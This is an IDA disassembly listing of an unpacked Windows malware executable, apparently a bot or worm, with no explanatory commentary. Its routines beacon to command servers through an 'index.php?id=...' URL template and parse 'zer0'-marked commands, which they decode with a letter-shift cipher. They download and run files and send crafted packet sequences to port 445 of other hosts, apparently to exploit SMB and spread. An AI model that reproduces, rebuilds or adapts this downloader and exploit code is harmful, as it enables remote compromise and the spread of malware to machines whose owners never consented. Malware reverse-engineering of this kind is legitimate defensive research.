; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 440F717B06F9A99D5475801FF14E7808 ; File Name : u:\work\440f717b06f9a99d5475801ff14e7808_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31421000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31421000 dd 77DDEAF4h ; DATA XREF: sub_314228DB+1Ar dword_31421004 dd 77DDEBE7h ; DATA XREF: sub_314228DB+38r dword_31421008 dd 77DD7883h ; DATA XREF: sub_31422882+3Er dword_3142100C dd 77DD761Bh ; DATA XREF: sub_3142284D+14r ; sub_31422882+1Dr dword_31421010 dd 77DDEDE5h ; DATA XREF: sub_3142284D+24r dword_31421014 dd 77DD6BF0h ; DATA XREF: sub_3142284D+2Dr ; sub_31422882+4Er ... dword_31421018 dd 77E34D78h ; DATA XREF: sub_314223B2+17Dr dword_3142101C dd 77DEA2F9h ; DATA XREF: sub_3142179A+17r dword_31421020 dd 77DEA122h ; DATA XREF: sub_3142179A+30r dword_31421024 dd 77DEAB80h ; DATA XREF: sub_3142179A+4Dr dword_31421028 dd 77DEA254h ; DATA XREF: sub_3142179A+5Br dword_3142102C dd 77DEA544h ; DATA XREF: sub_3142177E+8r dword_31421030 dd 77DE8546h ; DATA XREF: sub_3142177E+12r dword_31421034 dd 77DE7F96h ; DATA XREF: sub_3142172F+6r dword_31421038 dd 77DEA879h ; DATA XREF: sub_3142172F+3Dr align 10h dword_31421040 dd 7C809AE4h ; DATA XREF: sub_31422CB9+Br dword_31421044 dd 7C809A51h ; DATA XREF: sub_31422CA5+Dr dword_31421048 dd 7C80B4CFh ; DATA XREF: sub_31422B67+17r dword_3142104C dd 7C80BAA1h ; DATA XREF: sub_31422B67+E9r dword_31421050 dd 7C8286EEh ; DATA XREF: sub_31422A9B+71r dword_31421054 dd 7C86136Dh ; DATA XREF: sub_31422A9B+B0r dword_31421058 dd 7C864B0Fh ; DATA XREF: sub_31422D2Cr dword_3142105C dd 7C863DE5h ; DATA XREF: sub_31422D26r dword_31421060 dd 7C801E16h ; DATA XREF: sub_3142292E+9Br dword_31421064 dd 7C863F58h ; DATA XREF: sub_31422D20r dword_31421068 dd 7C80BE01h ; DATA XREF: sub_31422712+13r ; sub_31422B67+8Fr dword_3142106C dd 7C8308ADh ; DATA XREF: sub_314223B2+C8r dword_31421070 dd 7C802520h ; DATA XREF: sub_3142239E+8r dword_31421074 dd 7C831EABh ; DATA XREF: UPX0:31422346r ; sub_31422A9B+Fr dword_31421078 dd 7C810D87h ; DATA XREF: sub_314211A0+EDr dword_3142107C dd 7C809B47h ; DATA XREF: sub_314211A0+B9r ; sub_314211A0+F6r ... dword_31421080 dd 7C801A24h ; DATA XREF: sub_314211A0+8Fr ; sub_314221C4+57r dword_31421084 dd 7C80BDB6h ; DATA XREF: sub_314211A0+5Ar ; sub_31421422+64r ... dword_31421088 dd 7C834D41h ; DATA XREF: sub_314211A0+3Dr ; sub_31422A9B+40r dword_3142108C dd 7C814EEAh ; DATA XREF: sub_314211A0+37r ; sub_31422A9B+1Br dword_31421090 dd 7C80D262h ; DATA XREF: sub_314215C7+29r dword_31421094 dd 7C802442h ; DATA XREF: sub_314216A2+7Dr ; sub_31421801+16Cr ... dword_31421098 dd 7C80978Eh ; DATA XREF: sub_314216A2+1r dword_3142109C dd 7C810111h ; DATA XREF: sub_31421801+4Fr dword_314210A0 dd 7C80DDF5h ; DATA XREF: sub_31421D68+4Dr dword_314210A4 dd 7C80ADA0h ; DATA XREF: sub_31421D68+13r ; sub_31421DF0+2Cr dword_314210A8 dd 7C801D77h ; DATA XREF: sub_31421D68+Dr ; sub_314223B2+116r dword_314210AC dd 7C80220Fh ; DATA XREF: sub_31421DF0+BCr dword_314210B0 dd 7C8309E1h ; DATA XREF: sub_31421DF0+8Ar ; sub_3142292E+92r dword_314210B4 dd 7C80B6A1h ; DATA XREF: sub_31421DF0+26r ; UPX0:31422336r dword_314210B8 dd 7C80929Ch ; DATA XREF: sub_31421EFB+12r dword_314210BC dd 7C80E93Fh ; DATA XREF: sub_31421F29+8r dword_314210C0 dd 7C810637h ; DATA XREF: sub_31421F38+12r ; sub_31421F52+12r dword_314210C4 dd 7C802367h ; DATA XREF: sub_31421FA3+38r dword_314210C8 dd 7C80A017h ; DATA XREF: sub_3142204E+13r dword_314210CC dd 7C81320Ch ; DATA XREF: sub_3142204E+8r dword_314210D0 dd 7C80C058h ; DATA XREF: sub_3142207E+137r ; sub_314221C4+66r ... dword_314210D4 dd 7C809766h ; DATA XREF: sub_3142207E+F4r ; sub_314225C3+3Fr ... dword_314210D8 dd 7C80180Eh ; DATA XREF: sub_314221C4+92r dword_314210DC dd 7C810A77h ; DATA XREF: sub_314221C4+6Er dword_314210E0 dd 7C81CDDAh ; DATA XREF: UPX0:31422370r ; sub_31422A9B+C3r dword_314210E4 dd 7C910331h, 0 ; DATA XREF: UPX0:31422361r dword_314210EC dd 77C371BCh ; DATA XREF: sub_31421EFB+22r dword_314210F0 dd 77C46F70h ; DATA XREF: sub_31422CE2r dword_314210F4 dd 77C478A0h ; DATA XREF: sub_31422CDCr dword_314210F8 dd 77C475F0h ; DATA XREF: sub_31422CD6r dword_314210FC dd 77C371D3h ; DATA XREF: sub_314216A2:loc_314216FCr ; sub_31421F73:loc_31421F84r ... ; --------------------------------------------------------------------------- loc_31421100: ; DATA XREF: UPX0:loc_31422CD0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31421104 dd 77C47C60h ; DATA XREF: sub_31421422+3Cr ; sub_3142207E:loc_314220AFr ... dword_31421108 dd 77C47660h ; DATA XREF: sub_31421316+37r ; sub_31421422+AAr align 10h dword_31421110 dd 7E42DE87h ; DATA XREF: sub_31421DF0+5Dr dword_31421114 dd 7E41BE4Bh ; DATA XREF: sub_31421DF0+67r dword_31421118 dd 7E418A80h ; DATA XREF: sub_31421DF0+7Ar dword_3142111C dd 7E41A8ADh ; DATA XREF: sub_314215C7+5Dr ; sub_314215C7+77r ... dd 0 dword_31421124 dd 42C30BFAh ; DATA XREF: sub_314211A0+A9r ; sub_314215C7+9Dr dword_31421128 dd 42C2C8A1h ; DATA XREF: sub_314211A0+18r ; sub_314215C7+89r dword_3142112C dd 42C1DAC1h ; DATA XREF: sub_314215C7+C5r dword_31421130 dd 42C367F6h ; DATA XREF: sub_31422038+8r ; UPX0:314227A2r dword_31421134 dd 42C2ABF4h ; DATA XREF: sub_314211A0+DBr ; sub_314215C7+B0r dd 0 dword_3142113C dd 71AB664Dh ; DATA XREF: sub_31422308+10r dword_31421140 dd 71AB3E00h ; DATA XREF: sub_314221C4+100r dword_31421144 dd 71AB88D3h ; DATA XREF: sub_314221C4+10Dr dword_31421148 dd 71AC1028h ; DATA XREF: sub_314221C4+120r dword_3142114C dd 71AB50C8h ; DATA XREF: sub_31421FF9+Cr dword_31421150 dd 71AB94DCh ; DATA XREF: sub_31421FF9+17r dword_31421154 dd 71AB4FD4h ; DATA XREF: sub_31421FF9+25r dword_31421158 dd 71AB3B91h ; DATA XREF: sub_31421801+2Br ; sub_314221C4+ACr dword_3142115C dd 71AB3F41h ; DATA XREF: sub_31421801+44r ; sub_31422712+Dr dword_31421160 dd 71AB2B66h ; DATA XREF: sub_31421801+147r ; sub_314221C4+F0r dword_31421164 dd 71AB406Ah ; DATA XREF: sub_31421801+15Dr dword_31421168 dd 71AB428Ah ; DATA XREF: sub_31421801+17Br ; sub_3142207E+67r ... dword_3142116C dd 71AB615Ah ; DATA XREF: sub_31421801+1A4r ; sub_31421801+1D8r ... dword_31421170 dd 71AC0BDEh ; DATA XREF: sub_31421801+550r ; sub_3142207E+128r dword_31421174 dd 71AB9639h ; DATA XREF: sub_31421801+559r ; sub_3142207E+12Fr align 10h dword_31421180 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_31421422+5o dd offset nullsub_1 align 10h dword_31421190 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_314223B2+5o dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314211A0 proc near ; CODE XREF: sub_31421422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 mov ebx, eax cmp ebx, esi jnz short loc_314211CB push 1 jmp loc_31421261 ; --------------------------------------------------------------------------- loc_314211CB: ; CODE XREF: sub_314211A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3142108C mov edi, dword_31421088 lea eax, [ebp+var_110] push offset dword_314241F8 push eax call edi lea eax, [ebp+var_110] push 6 push eax call dword_31421084 lea eax, [ebp+eax+var_110] push eax call sub_31421F73 pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314241F0 push eax call edi push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31421080 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31421241 push 2 jmp short loc_31421261 ; --------------------------------------------------------------------------- loc_31421241: ; CODE XREF: sub_314211A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31421124 cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31421264 push [ebp+var_4] call dword_3142107C push 3 loc_31421261: ; CODE XREF: sub_314211A0+26j ; sub_314211A0+9Fj pop eax jmp short loc_314212B5 ; --------------------------------------------------------------------------- loc_31421264: ; CODE XREF: sub_314211A0+B4j mov edi, 100000h push edi call sub_31422CA5 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31421134 lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_31421078 push [ebp+var_4] call dword_3142107C lea eax, [ebp+var_110] push 5 push eax call sub_31421FA3 push ebx call sub_31422CB9 add esp, 0Ch xor eax, eax loc_314212B5: ; CODE XREF: sub_314211A0+C2j pop edi pop esi pop ebx leave retn sub_314211A0 endp ; =============== S U B R O U T I N E ======================================= sub_314212BA proc near ; CODE XREF: sub_31421422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314212D1: ; CODE XREF: sub_314212BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_314212D1 pop edi pop esi pop ebx retn sub_314212BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421316 proc near ; CODE XREF: sub_3142139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31421349 add ebx, 1Ah loc_31421349: ; CODE XREF: sub_31421316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31421108 lea eax, [ebp+var_1C] push edi push eax call esi pop ecx test eax, eax pop ecx jz short loc_31421373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421373: ; CODE XREF: sub_31421316+48j lea eax, [ebp+var_38] push edi push eax call esi pop ecx test eax, eax pop ecx jz short loc_31421393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421393: ; CODE XREF: sub_31421316+68j mov al, [ebp+arg_0] loc_31421396: ; CODE XREF: sub_31421316+5Bj ; sub_31421316+7Bj pop edi pop esi pop ebx leave retn sub_31421316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142139B proc near ; CODE XREF: sub_31421422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314213F8 mov edi, [ebp+arg_0] push ebx loc_314213B0: ; CODE XREF: sub_3142139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31421316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314213DC cmp bl, 7Ah jg short loc_314213DC movsx esi, bl sub esi, 61h loc_314213DC: ; CODE XREF: sub_3142139B+34j ; sub_3142139B+39j cmp bl, 41h jl short loc_314213EC cmp bl, 5Ah jg short loc_314213EC movsx esi, bl sub esi, 41h loc_314213EC: ; CODE XREF: sub_3142139B+44j ; sub_3142139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314213B0 pop ebx jmp short loc_314213FB ; --------------------------------------------------------------------------- loc_314213F8: ; CODE XREF: sub_3142139B+Fj mov edi, [ebp+arg_0] loc_314213FB: ; CODE XREF: sub_3142139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3142139B endp ; =============== S U B R O U T I N E ======================================= sub_31421402 proc near ; CODE XREF: sub_31421422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31421406: ; CODE XREF: sub_31421402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31421406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_31421402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421422 proc near ; CODE XREF: sub_314215C7+BAp var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421180 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31421104 pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_314215A8 add edi, 4 mov [ebp+var_130], edi jz loc_314215A8 push edi call dword_31421084 mov [ebp+var_1C], eax cmp eax, 50h jle loc_314215A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_314215A8 cmp ebx, 1Ah jge loc_314215A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_31421108 pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314215A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3142139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_314212BA lea eax, [ebp+var_164] push eax call sub_31421402 add esp, 1Ch cmp [esi], al jnz short loc_314215A8 push 44h push offset dword_31424000 lea eax, [ebp+var_124] push eax call sub_3142172F add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_31421084 push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_3142179A add esp, 18h test eax, eax jnz short loc_3142159B cmp [ebp+var_174], edi jz short loc_3142159B lea eax, [ebp+var_11C] push eax call sub_314211A0 pop ecx mov [ebp+var_128], edi loc_3142159B: ; CODE XREF: sub_31421422+15Cj ; sub_31421422+164j lea eax, [ebp+var_124] push eax call sub_3142177E pop ecx loc_314215A8: ; CODE XREF: sub_31421422+4Ej ; sub_31421422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_31421422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314215C7 proc near ; CODE XREF: sub_314216A2+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31422CA5 pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31421090 xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_3142162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_31424FEC push dword_31425004 push offset aHptrchtqrfmtgw ; "hptrchtqrfmtgwpg" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_3142111C add esp, 1Ch jmp short loc_31421647 ; --------------------------------------------------------------------------- loc_3142162F: ; CODE XREF: sub_314215C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_3142111C add esp, 0Ch loc_31421647: ; CODE XREF: sub_314215C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31421124 mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31421134 push esi mov [ebp+arg_4], eax call sub_31421422 push esi call sub_31422CB9 mov esi, dword_3142112C pop ecx pop ecx push ebx call esi push edi call esi mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_314215C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_314216A2 proc near ; DATA XREF: sub_314223B2+15Bo push ebx mov ebx, dword_31421098 push esi push edi loc_314216AB: ; CODE XREF: sub_314216A2+88j xor esi, esi mov edi, 46021h loc_314216B2: ; CODE XREF: sub_314216A2+86j inc esi inc esi call sub_31422038 test eax, eax jz short loc_314216FC mov al, byte_31424080[esi+esi*4] push eax push off_31424081[esi+esi*4] call sub_314215C7 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314216FC push 0 push offset dword_31425004 call ebx push 0 push offset dword_31424FEC call ebx loc_314216FC: ; CODE XREF: sub_314216A2+19j ; sub_314216A2+46j call dword_314210FC push 3 cdq pop ecx idiv ecx add esi, edx call sub_31422068 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_31421094 cmp esi, 16h jb short loc_314216B2 jmp loc_314216AB sub_314216A2 endp ; =============== S U B R O U T I N E ======================================= sub_3142172F proc near ; CODE XREF: sub_31421422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31421034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi test eax, eax jnz short loc_3142175C push 8 push 1 push edi push edi push ebx call esi test eax, eax jnz short loc_3142175C push 1 pop eax jmp short loc_3142177A ; --------------------------------------------------------------------------- loc_3142175C: ; CODE XREF: sub_3142172F+19j ; sub_3142172F+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31421038 neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3142177A: ; CODE XREF: sub_3142172F+2Bj pop edi pop esi pop ebx retn sub_3142172F endp ; =============== S U B R O U T I N E ======================================= sub_3142177E proc near ; CODE XREF: sub_31421422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3142102C push 0 push dword ptr [esi] call dword_31421030 xor eax, eax pop esi retn sub_3142177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142179A proc near ; CODE XREF: sub_31421422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3142101C test eax, eax jnz short loc_314217C0 push 1 pop eax jmp short loc_314217FD ; --------------------------------------------------------------------------- loc_314217C0: ; CODE XREF: sub_3142179A+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31421020 test eax, eax jnz short loc_314217D9 push 2 pop edi jmp short loc_314217F2 ; --------------------------------------------------------------------------- loc_314217D9: ; CODE XREF: sub_3142179A+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31421024 mov ecx, [ebp+arg_14] mov [ecx], eax loc_314217F2: ; CODE XREF: sub_3142179A+3Dj push [ebp+arg_0] call dword_31421028 mov eax, edi loc_314217FD: ; CODE XREF: sub_3142179A+24j pop edi pop esi pop ebp retn sub_3142179A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421801 proc near ; CODE XREF: sub_3142255F+36p ; sub_314225C3+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31422CF0 mov eax, dword_31424C84 push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31424C88 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31421158 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31421D61 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3142115C push eax lea eax, [ebp+var_6C] push eax call dword_3142109C lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31424C78 push eax call dword_3142111C add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31421874: ; CODE XREF: sub_31421801+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31421874 push 60h lea eax, [ebp+var_E4] push offset dword_31424798 push eax call sub_31422CE2 lea eax, [ebp+var_4C] push eax call sub_31422CDC shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31422CE2 add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31422CDC pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31422CE2 lea eax, [ebp+var_4C] push eax call sub_31422CDC add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31422CE2 lea eax, [ebp+var_4C] push eax call sub_31422CDC shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31422CE2 push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31422CD6 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31422CD6 add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31421160 mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31421164 cmp eax, 0FFFFFFFFh jz loc_31421D57 mov esi, dword_31421094 mov edi, 0C8h push edi call esi push ebx mov ebx, dword_31421168 push 89h push offset dword_31424580 push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A8h push offset dword_3142460C push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0DEh push offset dword_314246B8 push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp eax, 46h jl loc_31421D4C cmp [ebp+var_730], 31h jnz loc_31421BF7 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31422CD6 add esp, 0Ch push offset byte_314242B8 call dword_31421084 push eax lea eax, [ebp+var_EA4] push offset byte_314242B8 push eax call sub_31422CE2 add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31421084 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31422CE2 mov eax, dword_31424BBE add esp, 0Ch mov [ebp+var_798], eax loc_31421A98: ; CODE XREF: sub_31421801+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 68h push offset dword_314247FC push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A0h push offset dword_31424868 push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp [ebp+arg_0], 0 jz loc_31421CE7 push 68h lea eax, [ebp+var_89E4] push offset dword_31424A20 push eax call sub_31422CE2 lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31422CE2 push 70h lea eax, [ebp+var_690C] push offset dword_31424A8C push eax call sub_31422CE2 lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31422CE2 push 84h lea eax, [ebp+var_5DD8] push offset dword_31424B00 push eax call sub_31422CE2 add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx push edi call esi push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C 